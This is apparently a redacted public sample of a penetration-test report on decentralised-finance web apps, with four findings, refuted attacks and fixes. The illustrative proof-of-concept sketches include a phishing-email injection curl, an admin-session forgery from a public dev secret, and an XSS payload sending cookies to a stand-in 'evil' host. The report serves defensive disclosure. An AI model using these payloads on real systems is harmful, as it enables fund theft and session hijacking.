PUBLIC SAMPLE — REDACTED · client identity removed; ▮▮ bars mark removed identifiers · methodology & findings intact

ARI

PENETRATION TEST & EXPLOIT ANALYSIS

PENETRATION TEST — APP & DNS LAYER

[redacted] · Track T5 — [redacted] · Port · [redacted] -Vault dApps

PROJECT	TRACK	DATE
[redacted]	T5	29 May 2026
EXPLOITS	**REFUTED**	**CLASSIFICATION**
4 weaponized	3 defended	PUBLIC SAMPLE

Disclaimer. This report describes an authorized, time-boxed penetration-testing / exploit-analysis pass over the materials identified in scope, as they existed at the referenced version during the engagement window. Attack narratives and proof-of-concept sketches are illustrative and were reasoned/derived from source review; no exploit was executed against any live system, and no email, transaction, or request described here was actually sent. It is a point-in-time assessment and does not constitute a guarantee that all exploitable conditions have been found, nor an endorsement of the project. It is not investment, legal, or financial advice. [redacted] may publish or share this report in full, unmodified form, including this disclaimer. Vari accepts no liability for decisions made by third parties on the basis of this report.

00 ENGAGEMENT SUMMARY

Two HIGH exploits confirmed with concrete request PoCs. The port-dapp /api/send-email endpoint is unauthenticated and interpolates attacker HTML into a [redacted]-DKIM-authenticated template, enabling brand-spoofed phishing with wallet-drainer payloads at scale. The [redacted]-vault-dapp admin session secret fails open to a public in-repo constant when the env var is unset, letting an attacker forge an admin session from the (public) admin address and hit money-moving routes. A stored-XSS via an unsanitized borrower description ({@html}) and a spoofable-referer proxy round out the set. The admin routes are otherwise well-gated (HMAC + timing-safe compare + jti revocation + address allowlist + rate limits) when the secret is set — that gating was tested and refuted as a bypass.

CRITICAL	HIGH	MEDIUM	LOW	INFO
0	2	1	1	0

This pass is adversarial follow-up to the security review: each item either **weaponizes** a review finding into a concrete attack with a proof-of-concept sketch, or is a **new** chain discovered while attempting exploitation. The §Refuted section lists attacks that were attempted and defeated by an in-place guard — recorded so the client can see what was tried and why it is safe.

01 WEAPONIZED EXPLOITS

ID	SEVERITY	WEAPONIZES	EXPLOIT
PEN-T5-01	HIGH	PROTO-T5-01	Unauthenticated /api/send-email enables [redacted]-branded phishing with arbitrary HTML injection
PEN-T5-02	HIGH	PROTO-T5-02	Fail-open ADMIN_SESSION_SECRET default lets an attacker forge a valid admin session token
PEN-T5-03	MEDIUM	PROTO-T5-04	Stored XSS via unsanitized borrower description rendered with {@html}
PEN-T5-04	LOW	PROTO-T5-05	[redacted] proxy authorization bypass via spoofable Referer substring match

HIGH PEN-T5-01 Unauthenticated /api/send-email enables [redacted]-branded phishing with arbitrary HTML injection

WEAPONIZES

PROTO-T5-01

PRECONDITIONS

port-dapp deployed with [redacted] configured. The POST handler has NO auth, no CORS restriction, no rate limit, no recipient allowlist. Attacker controls `to` and all `values`.

ATTACK PATH

1. Attacker POSTs {template, to, values}. The server sets from/reply_to to the real [redacted] sender — the attacker cannot change the sender, which is exactly what makes it credible.
2. getHtml interpolates values.* into the body WITHOUT escaping, so the attacker injects arbitrary HTML/anchors — e.g. a fake 'confirm withdrawal' button linking to a wallet-drainer.
3. `to` is attacker-chosen → mass phishing from [redacted]'s authenticated domain.
4. [redacted] relays with the real API key; the mail passes SPF/DKIM as genuine [redacted] mail.

IMPACT

Domain-authenticated, brand-spoofed phishing at scale against arbitrary victims, with attacker-controlled HTML in a legitimate [redacted] template. High deliverability (real DKIM) → wallet-drainer / credential theft; also burns [redacted] quota/reputation.

PROOF-OF-CONCEPT SKETCH (ILLUSTRATIVE — NOT EXECUTED)

```
curl -X POST https://<port-host>/api/send-email -H 'Content-Type: application/json' \
  -d '{"template":"deposit","to":"victim@x.com","values":{"vaultName":"
Vault","amount":"<a href=https://evil/drain>Verify deposit</a>","currency":"USDC"}}'  #
illustrative, not sent
```

DETECTION & MITIGATION

Require auth (session/token) + CORS allowlist + rate limit + recipient allowlist; HTML-escape all values.* before interpolation; monitor [redacted] for anomalous volume/recipients.

Confidence: high (confirmed)

HIGH PEN-T5-02

Fail-open ADMIN_SESSION_SECRET default lets an attacker forge a valid admin session token

WEAPONIZES

`PROTO-T5-02`

PRECONDITIONS

[redacted]-vault-dapp deployed in production with ADMIN_SESSION_SECRET unset. admin-session.js only console.error's the warning and continues with SESSION_SECRET derived from a publicly-known in-repo constant.

ATTACK PATH

1. Attacker learns the admin address (public: /admin/challenge and public protocol config expose it).
2. Attacker forges a token exactly as createSession does: payload = base64url({address:ADMIN, iat, exp:now+3600, jti:random}); sig = base64url(HMAC_SHA256(sha256('dev-only-insecure-session-secret-change-me'), payload)); token = payload+'.'+sig.
3. validateSession recomputes the same HMAC, timing-safe compare passes, address matches, exp is future, jti not revoked → returns the admin address; requireAuth passes isAdminAddress → full admin access.
4. Attacker calls money-moving routes: /admin/sweep, /admin/process-withdrawals, /admin/fund-withdrawal-wallet, /admin/send-payment, and config mutators.

IMPACT

Complete admin takeover of the vault backend when the secret is unset — unauthorized [redacted] payments/sweeps, forced withdrawal processing, config tampering. Direct fund loss. The forgery needs only the PUBLIC admin address; no signature from the real admin wallet.

PROOF-OF-CONCEPT SKETCH (ILLUSTRATIVE — NOT EXECUTED)

```
s=sha256('dev-only-insecure-session-secret-change-me');
p=base64url({address:ADMIN,iat,exp,jti});
sig=hmac_sha256(s,p); token=p+'.'+sig; curl -H "Authorization: Bearer $token" -X POST
https://<host>/admin/sweep  # illustrative
```

DETECTION & MITIGATION

Fail CLOSED: if the secret is unset in a prod runtime, throw at startup / refuse to boot; rotate the secret; treat any session signed with the dev default as invalid; audit-log admin auth by IP.

Confidence: high (confirmed — exploitable only if the env var is unset; confirm it is set in prod)

MEDIUM PEN-T5-03 **Stored XSS via unsanitized borrower description rendered with {@html}**

WEAPONIZES

PROTO-T5-04

PRECONDITIONS

Attacker can influence a borrower's info.description in the [redacted]/indexer/CMS feeding the GraphQL API (borrower-supplied profile or a mis-validated CMS). No client-side sanitization.

ATTACK PATH

1. borrowers/[slug]/+page.server.ts fetches borrowerFullDetails; the info { description } passes through unescaped.
2. +page.svelte renders {@html borrowerInfo?.description} — {@html} injects raw HTML, so an attacker-controlled description executes in every visitor's session on that borrower page.
3. Payload runs in the dapp origin: reads wallet-connection state, drives wallet prompts, exfiltrates cookies/session, or rewrites the page for phishing.

IMPACT

Stored XSS on a public borrower page affecting all viewers; session/wallet-context compromise and on-page phishing under the legitimate dapp origin. Gated to MED by the precondition that description is attacker/CMS-influenced.

PROOF-OF-CONCEPT SKETCH (ILLUSTRATIVE — NOT EXECUTED)

```
// set borrower info.description (via CMS/indexer) to:
<img src=x onerror="fetch('https://evil/c?'+document.cookie)">  // executes on
/borrowers/<slug>
```

DETECTION & MITIGATION

Sanitize with DOMPurify (allowlist) before {@html}, or render as text; server-side validate/escape borrower info at ingestion; restrict who can write description.

Confidence: high (confirmed, precondition-gated)

LOW PEN-T5-04 [redacted] **proxy authorization bypass via spoofable Referer substring match**

WEAPONIZES

PROTO-T5-05

PRECONDITIONS

port-dapp /api/[redacted] in production (no valid x-ozean-token). The gate relies solely on the client-supplied Referer with .includes() substring matching.

ATTACK PATH

1. validateRequest authorizes if Referer .includes('[redacted]') etc. — a client-controlled header.
2. Substring matching is trivially satisfied: set Referer to https://[redacted].evil.example.
3. The request passes and is proxied to the upstream GraphQL endpoint.

IMPACT

Anyone can use the read proxy, defeating the origin restriction. Low impact: only the non-privileged read path is exposed — the master token is attached only for server requests with a valid x-ozean-token, which Referer-spoofing does not grant.

PROOF-OF-CONCEPT SKETCH (ILLUSTRATIVE — NOT EXECUTED)

```
curl -X POST https://<port-host>/api/       -H 'Referer: https://      .evil/' -d '{"query":"
{ __typename }"}'  # passes the gate
```

DETECTION & MITIGATION

Do not authorize on Referer; use a server-side token or exact-host Origin allowlist; rate-limit.

Confidence: high (confirmed)

02 ATTEMPTED & REFUTED

Attacks tried during this pass that a guard defeated. Documenting them shows the defended surface and prevents these from being re-raised as open issues.

TARGET / IDEA	WHY IT IS SAFE
[redacted]-vault admin routes when ADMIN_SESSION_SECRET IS configured	With a real secret, sessions are HMAC-SHA256 signed and verified with a timing-safe compare, carry exp and a revocable jti, and requireAuth further constrains the address via an exact-match allowlist; challenge/nonce routes are single-use and rate-limited; the password path is off unless explicitly enabled. The vulnerability is strictly the fail-open default (PEN-T5-02), not the gating logic.
port-dapp SideBySideText dangerouslySetInnerHTML (icon)	The icon prop is fed static internal SVG by its callers, not user/CMS/remote input; no traced path from attacker data to the sink, so it is not an exploitable XSS in the reviewed code.
send-email [redacted] key / sender-domain spoofing	The handler never returns or reflects the API key, and from/reply_to are hardcoded to the [redacted] sender — an attacker cannot set an arbitrary From or steal the key. The abuse is brand/content spoofing and unauthenticated relay (PEN-T5-01), not sender-domain takeover.

03 REMEDIATION PRIORITY

PRIORITY	ID	FIX
P0	PEN-T5-01	Require auth (session/token) + CORS allowlist + rate limit + recipient allowlist; HTML-escape all values.* before interpolation; monitor [redacted] for anomalous volume/recipients.
P0	PEN-T5-02	Fail CLOSED: if the secret is unset in a prod runtime, throw at startup / refuse to boot; rotate the secret; treat any session signed with the dev default as invalid; audit-log admin auth by IP.
P1	PEN-T5-03	Sanitize with DOMPurify (allowlist) before {@html}, or render as text; server-side validate/escape borrower info at ingestion; restrict who can write description.
P2	PEN-T5-04	Do not authorize on Referer; use a server-side token or exact-host Origin allowlist; rate-limit.